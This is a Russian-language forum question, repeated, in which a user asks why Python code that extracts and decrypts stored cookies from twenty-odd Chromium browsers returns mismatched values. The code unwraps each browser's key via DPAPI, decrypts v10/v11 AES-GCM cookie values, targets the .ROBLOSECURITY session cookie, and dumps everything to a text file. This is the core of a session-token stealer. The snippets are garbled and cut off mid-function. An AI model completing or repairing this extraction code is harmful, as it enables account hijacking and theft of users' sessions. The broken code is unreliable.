У меня есть словарь из двадцати с чем-то браузеров, и я хочу программно получить файлы cookie, сохраненные в default/network/cookies. Однако у меня есть проблема: некоторые файлы cookie даже не совпадают, и все они закодированы в базе 64, а также возвращают файлы cookie только одного браузера.
Вот основная функция:
def get_keys():
keys = {}
for name, path in BROWSERS.items():
local_state = os.path.join(path, "Local State")
if not os.path.isfile(local_state):
keys[name] = None
continue
try:
with open(local_state, "r", encoding="utf-8") as f:
data = json.load(f)
enc_key_b64 = data["os_crypt"]["encrypted_key"]
enc_key = base64.b64decode(enc_key_b64)[5:] # remove dpapi prefix
key = win32crypt.CryptUnprotectData(enc_key, None, None, None, 0)[1]
keys[name] = key
except Exception as e:
print(f"Failed to get key for {name}: {e}")
keys[name] = None
return keys
например, файл cookie .roblosecurity не соответствует. вот фрагмент извлеченного файла cookie и файла cookie в браузере соответственно: _CAEaAhAB.752BA64CF67026985827F0 (декодировано из base64) _CAEaAhADIhsKBGR1aWQSEzM5, возможно, они дополнительно закодированы/зашифрованы?
У меня есть словарь из двадцати с чем-то браузеров, и я хочу программно получить файлы cookie, сохраненные в default/network/cookies. Однако у меня есть проблема: некоторые файлы cookie даже не совпадают, и все они закодированы в базе 64, а также возвращают файлы cookie только одного браузера. Вот основная функция: [code]def main(): keys = get_keys() all_data = {}
for name, base_path in BROWSERS.items(): cookie_db = os.path.join(base_path, "Default", "Network", "Cookies") if not os.path.isfile(cookie_db): continue
if browser_entries: all_data[name] = browser_entries
with open("cookieslmao.txt", "w", encoding="utf-8") as f: for browser, entries in all_data.items(): f.write(f"=======\n") for entry in entries: url = entry.get("url", "") name = entry.get("name", "") cookie = entry.get("cookie", "") f.write(f"url: {url}\n") f.write(f"name: {name}\n") f.write(f"cookie (encoded in base64): {cookie}\n") f.write(f"=======\n")
print(f"extraction complete! saved to cookieslmao.txt") [/code] а вот функция расшифровки и функция получения ключей [code]def decrypt(encrypted_value: bytes, key: bytes) -> str:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'): iv = encrypted_value[3:15] ciphertext = encrypted_value[15:-16] tag = encrypted_value[-16:]